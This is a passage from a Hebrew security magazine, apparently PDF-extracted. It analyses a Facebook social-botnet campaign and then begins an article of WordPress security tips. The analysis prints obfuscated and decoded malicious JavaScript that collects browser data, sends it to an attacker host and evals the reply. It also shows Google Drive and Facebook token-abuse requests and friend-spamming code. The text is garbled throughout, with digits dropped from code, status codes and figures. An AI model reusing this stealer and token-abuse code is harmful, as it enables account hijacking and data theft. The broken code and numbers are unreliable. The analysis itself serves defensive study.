20 גוגל דרייב - ברודקסט מלוור הבקשה בתמונה למעלה מכילה בקשת,POST אשר, באמצעות הטוקן של גוגל דרייב, מאושרת להעלות קבצים שדרייב של הקורבן. המטען שנראה בבקשה כולל מחרוזת ארוכה מקודדת ב- Base64 : POST HTTP/1.1 Host: content-type: multipart/form-data; boundary=" " x-javascript-user-agent: google-api-javascript-client/1.1.-beta Accept-Language: he-il,he;q=.8,en-us;q=.6,en;q= Content-Type: application/json {"name": ,"mimetype":"text/html"} Content-Type: text/html Content-Transfer-Encoding: base64 PGhbWw+PC9zcGFuPjx1bCBj...YmN6eWJxenVnc3dpbmJoIj48L2hbWw+Cg== התגובה מחזירה מזהה ייחודי של הקובץ שהועלה, אשר לאחר מכן יסייע לתוקף בשינוי הרשאות הגישה לקובץ, כך שהלינק יהיה פתוח לקריאה על ידי כל משתמש שמחזיק בו: HTTP/1.1 2 OK X-GUploader-UploadID: AEnB2UpKZH_XmylXWtMwMBIlNQ5BQ4v3hm6rIeXToatChi6RDNABrMyhBXgmqqEL1xc_VHFO_QKCYe ALyCcnKLMmRlFDDyDA Alt-Svc: quic=":443"; ma=2592; v="34,33,32,31,3,29,28,27,26,25" { "kind": "drive#file", "id": "B1QnPWBq7G22Y3RVZQQhyVkE", "name": " ", "mimetype": "text/html" } לפני שנמשיך לשלב של שינוי ההרשאות, רציתי להתעכב על ה- Base64 להעלאת קובץ. בואו נראה מה הקובץ שהתוקף מעלה. שהוצג במטען של הבקשה גניבת מידע לאחר פענוח הקובץ, נראה שמדובר בסקריפט בשיטה דומה לערבול של HTML אשר כולל שלב נוסף של קידוד והינו מעורבל.data.js מעבר לזה, התוקף הוסיף עוד קוד מת ואלמנטים שכביכול מכילים דומיינים נוספים, אך אלו אינם קיימים. בתוך הקובץ ישנו בלוק JavaScript שנראה כמו לולאה המקבלת מחרוזת לפענוח: <html></span><ul class="ffybatjyeafsctv"><center class="hjywgqitiay"><span id="nwktpmmltlcsrq"><ul id="fbnfzbeaqwkes"><ul class="avwtnmtoaqwf"></img><img id="qvcodjywjusch"><img id="lirekozqmltu"><img class="ppqjhtrmpo"><meta name="medium" content="image" /><a><title>donny Bravo</title><ul><a class="slmzbcqljkcw"></span><span><a href=" class="sruhwwvvlguj"><i><div id="gjhnfcoaufvcc"><i></span><center 2 הבוטנט החברתי - החלק החסר בפאזל

21 class="hhcqpqvrewmjspl"><ul><script>function ntsjdudmlw(hpihjelwoe) {var QIAtZgPsoKYQ="OVIHNDxkGEPPTzLFXkwFLQFSFXhqWXPKTyrHcPRIuHyngjSduoJffpYKmfaidQSXpk EsawaudzI"; kacqgvsh = "jxw5afkosgqe;d!,)y_.hvf/cl&v]zatu4'%2?z=eus61<dcxh[oirjb+r9}7n- 8kMNIl%P{gBQp:3>my*(t ".split("");hpihjelwoe = atob(hpihjelwoe.split("").reverse().join("")).split("b");gbopfjtrvqw = "";for (var gfjpjvmx = ; gfjpjvmx < hpihjelwoe.length; gfjpjvmx++) {if(typeof kacqgvsh[hpihjelwoe[gfjpjvmx]]!= "undefined") {GBOPfjTRVQw = GBOPfjTRVQw + kacqgvsh[hpihjelwoe[gfjpjvmx]];var JBndQXjVmhF="nGIqxAoMLSfMpfhtFQDorRshOBcbJHAXoioLJCyvvDiKJpdofHDxyVEnxGohoPeCYso HUMdpql";}var ZBdoHKRejM="wjpLqDAugzNugIhkXxvYwWbKDMBIVoqsxFdOjEipdWJkEQuCnQAKMCvqoWYjlpBIVFwe jftnbdygtsihijs";}var LnMakLkvbMdW="AaBguOIxnOrfxzOGrksEXsOICjJonGGOHhUbWCzjqRpNqeuHpNmmfbVIlFXylDmSKh U";return GBOPfjTRVQw;}var nbazzcrgusbsmh=ntsjdudmlw("4yjywmjy3ijyiftm");var cwflcxmslekjgcv=ntsjdudmlw("4yjywmjy3ijyiftm");var fsapnrrxcsm=ntsjdudmlw("1ujyxujyzgjyibzm");var qwqqwticnbegol=window;qwqqwticnbegol[cwflcxmslekjgcv](qwqqwticnbegol[nbazzcrgusb smh](qwqqwticnbegol[fsapnrrxcsm]('bnrtakr1ze.wpzewdqwwlkbvkikts=')));</script><i id="aaszwahzqxp"><img id="bqpleyywyz"><div class="atmablryaenunp"></a><span... פורמט נקי יותר של אותו קטע קוד יראה כך: <script> function decode_func(encoded_payload) { key = "jxw5afksgqe;d!,)y_.hvf/cl&v] +r9}7n-il%p{gbqp:3>my*(t ".split(""); encoded_payload = atob(encoded_payload.split("").reverse().join("")).split("b"); decoded_string = ""; for (var i = ; i < encoded_payload.lenght; i++) { if (typeof key[encoded_payload[i]]!= "undefined") { decoded_string = decoded_string + key[encoded_payload[i]]; } } return decoded_string; } window["eval"](window(["eval"](window["atob"](decode_func('ijmmximnxim gjyijmy');))); </script> 21 פענוח של המחרוזת בשורה האחרונה מציגה את הקוד הבא: (function() { /*agrszhl5znzocgr2d2t3z2rwymvjzxbrehpjehl3ad6dgt5cnbeu=;*/ var _navigator = {}; var _navigator2 = {}; var _navigator2 = {}; for (var i in navigator) { _navigator[i] = navigator[i]; } for (var i in navigator.mimetypes) { _navigator2[i] = navigator.mimetypes[i]; } var navvars = JSON.stringify(_navigator); var _screen = {}; for (var i in screen) { _screen[i] = screen[i]; } var screenvars = JSON.stringify(_screen); var scrvars = ''; var infosend = btoa(navvars + '-' + scrvars + '-' + screenvars + '-' + document.referrer + '-' + Date()); var tqakgoblijavvn = true; if (typeof navigator.mimetypes!= 'undefined') { if (typeof navigator.mimetypes[]!= 'undefined') { if (typeof navigator.mimetypes[].type == 'undefined') { tqakgoblijavvn = false; הבוטנט החברתי - החלק החסר בפאזל

22 } } } if (tqakgoblijavvn === true) { var vanckhtkszyt = new XMLHttpRequest(); vanckhtkszyt.open('post', ((location.protocol == ' ' : ' + '//' + String.fromCharCode(112, 117, 115, 14, 15, 11, 12, 111, 114, 19, 97, 116, 15, 111, 11, 46, 116, 111, 112, 47, 16, 115, 46, 16, 115) + '?' + Math.random(), true); vanckhtkszyt.setrequestheader('content-type', 'application/x-www-formurlencoded'); vanckhtkszyt.onreadystatechange = function() { if (vanckhtkszyt.readystate == 4 && vanckhtkszyt.status == 2) { eval(vanckhtkszyt.responsetext); } }; vanckhtkszyt.send('info=' + infosend); } /*djochszmpxa5mdgxmd2llc3frc2t1cjqa2fvaxzwc14ynjoc2f1exvnzhfwaq==;*/ })(window); בקוד נראה שמתבצעת בקשת POST לשרת התקיפה. החלק המעניין ביותר הוא התוכן של המשתנה info POST /js.js? HTTP/1.1 Host: pushinformation.top Content-Length: 159 אשר מכיל ככל הנראה את המידע שנגנב. info=eyj2zw5kb3jtdwiioiiilcjwcm9kdwnu3viijoimjaw...mwmcaosmvydxnhbgvtierhewxpz2 hifrpbwup { לבסוף, ניתן לראות את המידע אותו אסף התוקף מפענוח הערך של המשתנה :info "vendorsub": "", "productsub": "2317", "vendor": "Google Inc.", "maxtouchpoints":, "hardwareconcurrency": 3, "appcodename": "Mozilla", "appname": "Netscape", "appversion": "5. (iphone; CPU iphone OS 9_1 like Mac OS X) AppleWebKit/61.1 (KHTML, like Gecko) CriOS/ Mobile/13B143 Safari/ ", "platform": "Win32", } חזרה לשינוי הרשאות גישה לקבצים שימוש במזהה הייחודי בתוספת מטען POST בפורמט JSON יבקש לשנות את הגישה לקובץ ל כולם : POST ssions HTTP/1.1 Host: content.googleapis.com... Content-Length: 33 {"role":"reader","type":"anyone"} 22 הבוטנט החברתי - החלק החסר בפאזל

23 בתגובה ניתן לראות את הלינק שנוצר עבור אותו קובץ, בו ישתמש התוקף: HTTP/1.1 2 OK Cache-Control: no-cache, no-store, max-age=, must-revalidate Pragma: no-cache Expires: Mon, 1 Jan 199 :: GMT... Server: GSE Alternate-Protocol: 443:quic Alt-Svc: quic=":443"; ma=2592; v="34,33,32,31,3,29,28,27,26,25" Content-Length: 265 { "kind": "drive#permission", "etag": "\"1TJQgR3e3kullTvmPoNa3p7rGU/SMt_AihNOeEid3uqxvT2TMEdQYU\"", "id": "anyone", "selflink": " ons/anyone", "role": "reader", "type": "anyone" } יצירת קריאות זדוניות לאחר העלאת הקובץ בצורה שקטה, שלב המודיפיקציה הסתיים והשלב הבא הוא יצירת הלינק שיוטמע ב- timeline של הקורבן. הסקריפט מייצר שני סוגים של לינקים קצרים. כל אחד משמש לפיתוי משתמשים בדרך שונה. - Google URL Shortener יוטמע בפוסט שפורסם ע י הקורבן. - TinyURL יוטמע בהודעת פייסבוק אשר תישלח לקורבן. gl: function(e, a) { gf[u2e.u4o][u2e.t3o](string[u2e.g9u](u2e.l5o,,u2e.p4u), function(a) { var d = "C8"; if (U2e[d](A, U2e.x7U)) { $[U2e.gO]({ url: " type: "POST", headers: { "Authorization": "Bearer " + A }, async: false, contenttype: "application/json; charset=utf-8", data: JSON[U2e.t3U]({ "longurl": E }), complete: function(e) { a(gf[u2e.r7u](e[u2e.o6o])[u2e.s3u]); } }); } else { a(e); } }, U2e.h7U); } 23 הבוטנט החברתי - החלק החסר בפאזל :Google Shortner

24 isgd: function(e) { $[U2e.gO]({ url: ' + E, type: 'GET', async: false, complete: function(a) { var d = function(e) { l = e[u2e.o6o]; }; d(a); } }); return l; } :TinyURL בסוף תהליך העלאת הקבצים, הדרייב של הקורבן יכיל שלושה קבצים. האחד הוא ה- JSE אשר הגיע משרת התקיפה ויהיה חלק מתהליך התיוג ללינק חיצוני. השני והשלישי הם קבצי,HTML אחד פירטנו למעלה והוא אחראי על גניבת מידע והשני הוא צורה שונה של ה- JSE אשר יגיע משירותי קיצורי הלינקים שפרטנו כרגע. ]חשבון ה- Drive Google של הקורבן כולל את הקבצים המפגעים[ גניבת טוקן פייסבוק על מנת לדבר עם ה- API של פייסבוק, על הסקריפט לייצר טוקן עבור הקורבן ואיתו לבקש הרשאות על הפונקציונליות הנדרשת עבור ההתקפה. הסקריפט מבקש טוקן שמיועד לשימוש של מספר קטן של קריאות API אשר אינן מוודאות את ה- client,id ואינן מבצעות פעולות מצד השרת. לטובת הנושא, בחר התוקף להשתמש ב- ID client של אינסטגרם ( ). אם הקורבן יבדוק את הגדרות האפליקציות שלו בחשבון הוא יזהה שהקצה הרשאות לאינסטגרם, דבר שלא יעלה את חשדו. 24 הבוטנט החברתי - החלק החסר בפאזל

25 על ידי חקירה של ההרשאות שניתנו בצורה יותר יסודית, ניתן יהיה לראות הרשאות אשר אינסטגרם לא מבקשה באופן שוטף, כגון Messaging : $["ajax"]({ url: ' type: 'POST', async: true, makedata: v1, data: { "fb_dtsg": fb["user_dtsg"], "app_id": " ", "redirect_uri": "fbconnect://success", "display": "popup", "access_token": "",... "seen_scopes": "read_mailbox,public_profile,baseline",... POST HTTP/1.1 Host: Content-Length: 538 Cookie: datr=oy95vw4w1gpt8 שליחת הבקשה שנראתה ברקע: fb_dtsg=aqhnbximsmm%3aaqgopmxd9qqj&app_id= &redirect_uri=fbconnect%3a%2f%2fsuc cess&display=popup&access_token=&sdk=&from_post=1&public_info_nux=1&private=&tos =&read=read_mailbox%2cpublic_profile%2cbaseline&write=&readwrite=&extended=&soci al_confirm=&confirm=&seen_scopes=read_mailbox%2cpublic_profile%2cbaseline&auth_t ype=&auth_token=&auth_nonce=&default_audience=&ref=default&return_format=access_ token&domain=&sso_device=&sheet_name=initial& CONFIRM =1& user= & a=1& dyn=& req=1&ttstamp=& rev= HTTP/1.1 2 OK... Content-Length: 567 טוקן הכניסה שהתקבל בהתאמה: for (;;);{" ar":1,"payload":null,"jsmods":{"require":[["serverredirect","redirectpa geto",[],["fbconnect:\/\/success#access_token=eaabwzlixnjybakqbt7kwrjvr4rlwovu7 UZCrW1FqswMZBlgvZBfuAmNjAb8yJMGl4yZCjjFc4Lv8gAf25RcGFZAt47xM9ZBObZCVzFzMOqJvbCCM HiQVdTux8rCuQIP7jVSE2NVZBnqZCZCUKDH9YTAQMhmDuaPZAuxJx7Ruzoel1izUFBuPQDLvJL&expir es_in=5353",true],[]]]},"js":["qabx"],"bootloadable":{},"resource_map":{"qabx" :{"type":"js","src":" 4\/yi\/l\/en_US\/mFmrEHotYoA.js","crossOrigin":1}},"ixData":{},"lid":" "} 25 הבוטנט החברתי - החלק החסר בפאזל

26 מנגנון אל-כשל מי שיצר את הקוד הזה לא התפשר על פגיעות אחת, אלא יצר מספר נקודות רב ככל האפשר בהן יכול המשתמש התמים ליפול קורבן. אך, המנגנונים לא בהכרח עובדים במקביל. מנגנון זה למשל יפעל רק במידה והניסיון לתייג את הקורבן ללינק חיצוני נכשל. במצב זה תתבצע אוטומציה על פרסום הודעות בצ ט של פייסבוק ובו ישלח הסקריפט, בשם הקורבן, הודעה אחת לכל חבר פייסבוק המכילה לינק TinyURL לגוגל דרייב של הקורבן והתמונה כבר בטח מתחברת לכם בראש... בנוסף לכך, יעלה התוקף פוסט ל- timeline של הקורבן המכיל תמונת רקע, טקסט ותמונות של החברים אותם הוא מייבא באמצעות שאילתת.FQL את תמונת הרקע הוא מייצר בזמן ריצה מתמונת הפרופיל של המשתמש עם טקסט שנבחר ע י שפת הדפדפן )שימוש באובייקט )navigator ומיובא משרת התקיפה. אני לא יודע כמה מכם מכירים את ה- API של פייסבוק, אך פרסום בפייסבוק מכיל מספר שלבים. שלב ההכנה, המכיל בתוכו מספר תהליכוני הכנה, ושלב הפרסום בהתאמה. על מנת לחקות את ההתנהגות הזו, על התוקף לשלוט בתהליך הזה ברמה גבוהה. לטובת הפשטות של המאמר, חילקנו את התהליך לשני נדבכים עיקריים: Preparing the post Posting it on Facebook בלוק הקוד הראשון שולח בקשה לשרת התקיפה על מנת לקמפל הודעת טקסט אשר תוטמע בתוך התמונה. הפונט יבחר באופן רנדומלי מתוך סט פונטים שהוטמעו בסקריפט. על מנת לייבא את הטקסט, על הסקריפט להשיג מספר פרטים בסיסיים על הקורבן, לכן הבקשה תכיל את המזהה הפייסבוקי של אותו קורבן: GET HTTP/1.1 Host: corneliuspettus.com בתגובה יקבל הסקריפט מספר מחרוזות שכאמור, יוטבעו בתמונה: HTTP/1.1 2 OK... Server: cloudflare-nginx CF-RAY: 2bcb LHR Content-Length: 1411 {"la": ["Top visitors to", "Look at yours now", "visits"], "st":,"html": " "time": " ", "sv": " ", "ch": 3, "dev": ["1"], "appid": "", "v": "WyJqZmlwaWZva2NuaGFjbG5vZ29wZmRqZW5qam1qaWhmcCJd", "appid2": "", "e": 8, "p": "SUw=", "b": "", "se": "", "o": [" ogledrive.com/host/b1qnpwbq7g22c19jyxg3bvdztvk"," st/b1qnpwbq7g22c2ixwnf2qlhym28"," Z3RLS2JWdEUaWs"," ]} 26 הבוטנט החברתי - החלק החסר בפאזל

27 והנה המחשה של הפוסט: ]דוגמא לפוסט פישינג ב- Timeline של הקורבן[ 27 אם לא נוטיפיקציה, נספים את הצ אט מנגנון האל-כשל מייצר קריאה לצ אט של פייסבוק המאפשר לתוקף להספים אתת כלל החברים של הקורבן. כל הפעולה הזו נוצרת בצד הלקוח באמצעות ג ינרוט של :Message batch sendmessage: function(u, C, t, K, z) { var k = "ur", N = 96, B = "link", p = function() { U = U + U2e.d8O + globalfunction["chain"](u2e.x8o); }; p(); U = gf["drive"][b](u); $["ajax"]({ url: ' type: 'POST', async: true, data: W, importdata: importdata, complete: function(b) { var X = "slice", n = "getminutes", I = "gethours", הבוטנט החברתי - החלק החסר בפאזל

28 f = "banword", F = "finalword", O = "visits", G = "tagged", V = "importdata"; this[v]["name"] = gf["returnname"](this[v][g]); this[v][o] = globalfunction["random"](1, 9999); this[v][f] = globalfunction[f](fbdata["lang"][2]); var c = { "message_batch[][action_type]": "ma-type:user-generated-message", "message_batch[][thread_id]": "", "message_batch[][author]": "fbid:" + fb["user_id"], "message_batch[][author_ ]": "", "message_batch[][timestamp]": Date["now"](), "message_batch[][timestamp_absolute]": "Hoy",... mchat: function(v, c, U) { var C = "z", t = "message", K = ',,,,?,?,?', z = "TU", k = "NU", N = "RU", B = "isgd", p = "zu", W = "CU", H = "mc2", for (uuuu = ; U2e[N](uuuu, sharearr.length); uuuu++) { var j = function() { var e = "/&"; send = send + e + gf["chain"](gf["random"](u2e.j8o, U2e.v4O))["toLowerCase"](); },... } j(); console["log"](send); mdata = { "charset_test": K, "tids": U2e.Z5O, "wwwupp": U2e.X4O, "body": send, "waterfall_source": t, "m_sess": U2e.Z5O, "fb_dtsg": fb["user_dtsg"], " dyn": U2e.Z5O, " req": C, " ajax ": U2e.Z5O, " user": fb["user_id"], }; J(shareArr); $["ajax"]({ url: ' type: 'POST', async: true, data: mdata, complete: function() { cookies.save(fb["user_id"] + "_sc" + fb["cache"], 1, 1); 28 לאחר מכן מתבצעת השליחה: הבוטנט החברתי - החלק החסר בפאזל

29 } }); } באדום נוצר ומוטמע האובייקט של ה- TinyURL לינק. בסגול מחרוזת רנדומלית של תווים מוצמדים לסוף ה- TinyURL בכחול משתני הבקשה בחום הבקשה המכילה את המידע הנדרש על מנת לייצר הודעה. אגב, הבקשה מתבצעת דרך ממשק המובייל של פייסבוק. לאחר מכן ייבא הסקריפט את הרשימה המלאה של החברים ובלופ בגודל הרשימה ישלח את הבקשה לכל משתמש: קישור ל- TinyURL יצורף להודעת Mobile" "sent from ויכלול את הקישור המפגע. 29 הבוטנט החברתי - החלק החסר בפאזל

30 מוציאים את המוץ מהתבן המטרה לשמה התכנסנו מגיעה סוף סוף - אחרי שהצלחנו לדחוף את המשימה הזו הלו ז הכל כך עמוס שלנו ובכמה לילות ללא שינה הצלחנו למצוא את החלק שעליו הגן התוקף הכי הרבה. לא, לא נמצאו שם דרכי הגנות חדשניות, אבל החלק הזה אכן נמצא בליבה של הקוד, והוא לא הכי פשוט להבנה. המורכבות מתחילה בעובדה שזה לא תהליך שמוכל בלוגיקה של פייסבוק. אזי, יש לפרק הכל ולא להסתמך על רמזים. כפי שטענו בהתחלה, הדרך היחידה לייצר נוטיפיקציה ל- mention של יוזר היא באמצעות תגובה, או יותר מדויק - באמצעות אובייקט שנמצא פיזית בתוך הממשק של פייסבוק. תיוג חיצוני לא היה קיים עד ההתקפה הזו, וגם בפייסבוק הופתעו לנוכח הממצא. בואו נראה את ה- flow של הפגיעות: לפייסבוק קיים אובייקט אשר ניתן למקם אותו באפליקציית צד שלישי, ובאמצעותו להזדהות בצורה ייחודית עם הפרטים המזהים של חשבון הפייסבוק שלנו. לצורך העניין, אם פתחתי בלוג חדש ואני רוצה שיעשו לי לייקים של פייסבוק, או שיתופים לפוסטים, אני אטמיע סוג כזה של פלאגין. הפלאגין הספציפי שאנחנו חקרנו הוא פלאגין שמקנה אופציה להשאיר תגובה: ע י מינוף של הפלאגין הזה, אנחנו יכולים ליצור נוטיפיקציה שתשלח את המשתמש המטורגט אל מחוץ לפייסבוק - לדף התגובות שלנו. 3 הבוטנט החברתי - החלק החסר בפאזל

31 למשל, אם שני חברים הגיבו על אותו פוסט באתר חיצוני, הם יקבלו נוטיפיקציה לאותו אתר חיצוני על מנת לצפות בפוסט: בטסט שעשינו, שני הפרופלים, אשר חברים בפייסבוק, הגיבו בפלאגין החיצוני, אשר יצרנו עם URL דקופבוקס. כפי שניתן לראות למעלה, הנוטיפקציה לוקחת את המשתמש ל- dropbox.com : של 1uod%2FTargetFile%3Fdl%3D&h=lAQEgSdj&s=1&enc=AZPo6OZ9YEsDrVJJhDdm- V38t39jqPVCOwbS_dg18yIzvcYloxtsWjLxY4xxlwPespqMFhkyZmJfL22LX9x3Wp7GwmbfA59kP_qMkWW1EA שלב זה בהתקפה בעצם מאתחל את הלינק לטובת מיקומו של הפלאגין. )אמור בעיקרון להיות שם של דף/כתבה/מאמר למשל ולא נתיב להורדת קובץ(: %3A%2F%2Fdrive.google.com%2Fopen%3Fid%3DB9oildoVHiNxVE1X2pXM3lLOUU השלב הבא יהיה ליצור תגובה בפלאגין עצמו: url: " + this["commentdata"][k] + "/?dpr=2", type: "POST", async: true, headers: { "content-type": "application/x-www-form-urlencoded" }, commentdata: this.commentdata, data: { app_id: , av: fb["user_id"], text: gf["chain"](2)["tolowercase"](), 31 הבוטנט החברתי - החלק החסר בפאזל

32 attached_photo_fbid:, attached_sticker_fbid:, post_to_feed: "false", user: fb["user_id"], a: 1, dyn: "5UjKUlzuwEdoyGzEy4-- C11wnooyUnwgUbErxW5Ex3ocUqz8Kaxe3KezU4i3K5Uy5ob8qx248sw", req: 4, pc: "EXP1:DEFAULT", fb_dtsg: fb["user_dtsg"], ttstamp: fb["tts"], rev: fb["rev"], sp: 1 } POST 1 HTTP/1.1 Host: Connection: keep-alive Origin: Content-Type: application/x-www-form-urlencoded Accept: */* Referer: //walla.co.il app_id= &av= &text=hola%2amigos&attached_photo_fbid =&attached_sticker_fbid=&post_to_feed=true& user= & a=1& dyn= 5UjKUiGdU4e3W3m8GEW8xdLFwgo5S68K5U4e2W6Uuxq8gS3e6EObyEjwXzE- 14wXwwxm17x248swpUO6Egx6& req=3& be=- 1& pc=phased%3adefault&fb_dtsg=aqgkqtnhoypf%3aaqhz1uwe8vh&ttstamp= & rev=243878& sp=1 לאחר שהתגובה פורסמה, בקשה נוספת תתבצע ל- הקשה מחזירה את ה- properties של הפוסט בפלאגין: this.commentdata["share_id"] = globalfunction["between"]('"commentids":["', '"', f["responsetext"])["split"]("_")[1]; // _ ברגע שמתקבל ה- share_id, אנו נחזור ל- API internal Facebook תגובה פיקטיבית שתשמש קונטיינר להתקפה שלנו: ונתחיל לאסוף מידע על מנת לייצר post_params = { "ft_ent_identifier": this["commentdata"]["share_id"], "comment_text": gf["chain"](1)["tolowercase"](), "source": 21, "client_id": Date["now"]() + ":" + Math["floor"](U2e[F](Date["now"](), 1)), "session_id": globalfunction["chain"](8)["tolowercase"](), "comment_text": "Array of tagged friends" } url: " type: "POST", async: true, headers: { "content-type": "application/x-www-form-urlencoded" 32 הבוטנט החברתי - החלק החסר בפאזל

33 } ניתן לראות בקוד המודגש שאכן מתבצע שימוש ב- share_id של התגובה בפלאגין וזו מוזרקת לתוך התגובה הרגילה שנוצרת בפייסבוק. זה הדבר שגורם לפייסבוק לנתב את הלחיצה על הנוטיפיציה לגוגל דרייב של אותו קורבן והורדה של stage 1 מחדש )כפי שצוין ב- loop infection למעלה(. השלב האחרון שהתבצע הוא עריכת הבקשה בצורת איתחול ה- comment_text ל- null. ניסיון לשחזר את ההתקפה לא צלח, שכן פייסבוק אכן חסמו את אותו ה פיצ ר. משתמש בדיבאג של פייסבוק על מנת לוודא כל פעולה. מעבר לכך, הסקריפט if (A["responseText"]["indexOf"]("errorSummary") > -1) { chrome["runtime"]["sendmessage"]({ method: 'GET', action: 'xhttp', url: " + fb["todel"] }, function(e) {}); commentst; } מכיוון שפייסבוק חסמו את ההתקפה, מחשבי קורבנון שילחצו על לינק אקטיבי יודבקו בטרויאן חצי-רדום. אין לו את סט ההתקפות המלאות, אך הוא כן מסוגל לשלוח הודעות צ אט למשל. מבחינת גודל הוא 5K לעומת 8KB מקורי. "errorsummary":"message Failed" "errordescription":"\u3cul class=\"uilist _4kg _6-h _6-j _6- i\">\u3cli>this message contains content that has been blocked by our security systems.\u3c\/li>\u3cli>if you think you&#39;re seeing this by mistake, please \u3ca href=\"\/help\/contact\/ ?" לסיכום אם נסכם את הדברים, הכלי הזה מאתגר מאוד ויכול להכיל הרבה מעבר לקוד שחקרנו. אנחנו חושדים שקיים Builder לכלי זה בפורומים כאלה ואחרים וב רשתות אפלות אשר נמכר ככלי פישינג רובסטי ומטריד לכל דבר. מקווה שנהנתם מהקריאה, ואם יש שאלות, כמובן - תשאלו את דני. 33 הבוטנט החברתי - החלק החסר בפאזל

34 WordPress טיפים לשיפור אבטחת מאת שחר גלעד הקדמה WordPress החלה את דרכה כפלטפורמה לכתיבת בלוגים במתכונת של קוד פתוח. מה שאומר שכל אחד יכול לעצב אותה כראות עיניו, לכתוב שורות קוד נוספות ולבנות עבורה תוספים ייעודיים. עם הזמן הפלטפורמה התפתחה מבניית בלוגים קטנים וחביבים, לאחת מהפלטפורמות המובילות ביותר בעולם לבניית אתרים! בזכות הקוד הפתוח והעובדה שכל מפתח יכול להוסיף ולשפר אותה, גדלה WordPress לממדים עצומים, וכיום 25 אחוז מכלל האתרים באינטרנט בנויים על.WordPress הפופולאריות העצומה שלה והעובדה שהיא קלה ונוחה לתפעול, מאפשרת לאנשים רבים, שלא כתבו שורת קוד אחת ומעולם לא עסקו בתכנות, לבנות אתרים יפים שבהחלט מסוגלים לספק לא מעט מהצרכים הקיימים היום. בזכות הקלות והממשק הנוח לתפעול, חברות רבות בונות ללקוחות אתרים ב- WordPress ולאחר הדרכה קצרה בעל האתר יכול לנהל את התכנים שלו באופן עצמאי. שימוש ב- WordPress מקטין בצורה ניכרת את התלות של הלקוח בחברה שבנתה לו את האתר, דבר שלעתים רבות משרת הן את אינטרס הלקוח והן את אינטרס החברה. אז איך למעשה הפלטפורמה עובדת? אחד היתרונות הגדולים במערכת, היא האפשרות לרכוש תבניות מוכנות מראש. כלומר, מתכנתים יושבים ויוצרים תבנית בדיוק כמו שהאתר נראה לכל עניין ודבר. את התבנית רוכשים, מתקינים על WordPress ובעזרת הממשק הנוח לתפעול, כל שנותר לעשות הוא להוסיף תכנים, תמונות, לשנות צבעים, לתת קצת טאץ' אישי והנה לכם אתר מוכן. ל- WordPress יש אלפי תוספים, גם חינמיים וגם בתשלום, שבעזרתם ניתן לייעל את האתר עוד יותר. מחפשים אפשרות קצרה לחבר בין האתר לעמוד הפייסבוק העסקי ולא רוצים להתעסק עם קוד? שום בעיה. תוסף ייעודי יעשה את העבודה. זקוקים להטמעה של טפסי "צור קשר" מעוצבים? גם את זה ניתן להתקין בנפרד. למעשה, כמעט כל פיצ'ר שהייתם רוצים לראות באתר שלכם, ניתן למצוא כתוסף,)Plugin( להתקין אותו בלחיצת כפתור וליהנות מהעולם הנפלא הזה שנקרא קוד פתוח. לא עוד מערכות סגורות שרק מתכנת אחד או שניים, אשר עבדו על האתר יוכלו לשנות, אלא מערכת פתוחה הניתנת לשינויים בכל רגע נתון. כמובן שהתוספים החשובים ביותר שיש להתקין לכל אתר הם דווקא התוספים שלא רואים על האתר עצמו. מדובר בתוספי אבטחה חשובים מאוד, כאלו שימנעו מכל מיני אנשים לא רצויים להשתלט לכם על האתר - ועל חלקם אף נרחיב בהמשך. טיפים לשיפור אבטחתWordPress 34

35 ,WordPress מעצם היותו קוד פתוח, מהווה מטרה נוחה יותר להאקרים שמחפשים לפגוע בכם ובעסק שלכם. ישנה תחרות קבועה בין האנשים שמנסים לפרוץ לאתרי,WordPress למתכנתים שאחראים על תוספי האבטחה. האקרים מנסים להקדים את המתכנתים ולהפך. לזכותם של תוספי האבטחה אפשר לשייך את העובדה, שכאשר מתקינים תוסף, לא מדובר בפעולת שגר ושכח. כלומר, לא התקנתם תוסף אבטחה וזהו, עכשיו 1 שנים הוא יוכל להגן עליכם, וזאת מכיוון שהוא לא יהיה רלוונטי לכלים החדשים של האקרים. תוספי האבטחה ב- WordPress מתעדכנים על בסיס קבוע, מה שמאפשר שקט נפשי, וגם עם האקרים מצאו שיטות עקיפה חדשות, תוספי האבטחה הרלוונטים יעודכנו בהתאם ויסגרו חורים לא רצויים שניתן למצוא בין שורות הקוד. WordPress מעצם היותה קהילה גדולה, ניזונה גם מדיווחים של בוני אתרים אחרים שמאתרים פריצות אפשריות. אותם דיווחים עוברים לאנשים הרלוונטיים, כמו מפתחי תוספים או לאתר WordPress עצמו, והם מצידם מנסים לייעל את המערכת על פי דיווחים אלו. אבטחה ב- WordPress בעולם מושלם היה ניתן להמנע ב- 1% מפריצות לאתר הנמצא בבעלותינו. אבל אנחנו חיים בעולם בו תמיד יהיו כאלו שינסו להשתלט לכם על האתר, כל פורץ וסיבותיו הוא: זה יכול להיות למטרת שעשוע, מטרת כופר )ידרשו ממכם לשלם כסף בשביל לקבל את האתר בחזרה(, או אפילו בגלל איבה פוליטית )ובישראל אתרים תמיד נמצאים על הכוונת של ארגונים פרו-פלסטינים(. האבטחה ב- WordPress לא תמנע 1 אחוז פריצות, אבל בעזרת הפעולות הנכונות והתופסים הנכונים היא בהחלט יכולה לצמצם בצורה משמעותית את אפשרויות הפריצה לאתר שלכם. איך עושים את זה בפועל? עוד לפני שניגע בתוספים, קיימים מספר שלבים אותם צריך לבצע על מנת לאבטח את ה- WordPress שלכם. יש לבצע חלק מהצעדים עוד בשלב הקמת האתר ואת השאר מבצעים בצורה שוטפת: Antivirus למחשב - במידה והמחשב שלכם נגוע בווירוסים שאוספים עליכם מידע, יהיה קל מאוד לאותו האקר לגנוב לכם את סיסמאות הניהול ולהשתלט לכם על האתר. על כן יש להקפיד כי המחשב שלכם נקי מתוכנות מסוכנות ולהתקין,Antivirus שמתעדכן וסורק את המחשב שלכם על בסיס קבוע כי אם במקרה יש לכם תולעים או סוסים טרויאנים הם דיי בקלות יכלו לזהות את השם משתמש וסיסמא למערכת ניהול של האתר שלכם. - Hosting בראש ובראשונה, אל תתפתו לאחסן את האתר שלכם על שרת רק כי הוא זול. תעשו בדיקה מקיפה. תקראו המלצות וחוות דעת על חברות האחסון השונות ותוודאו כי השרת עליו אתם מאחסנים את האתר, תמיד לבדוק שהחברת אחסון שאצלם אתם מאחסנים מבצעים גיבוי לאתר יום יום וכמובן לבדוק 35 טיפים לשיפור אבטחתWordPress

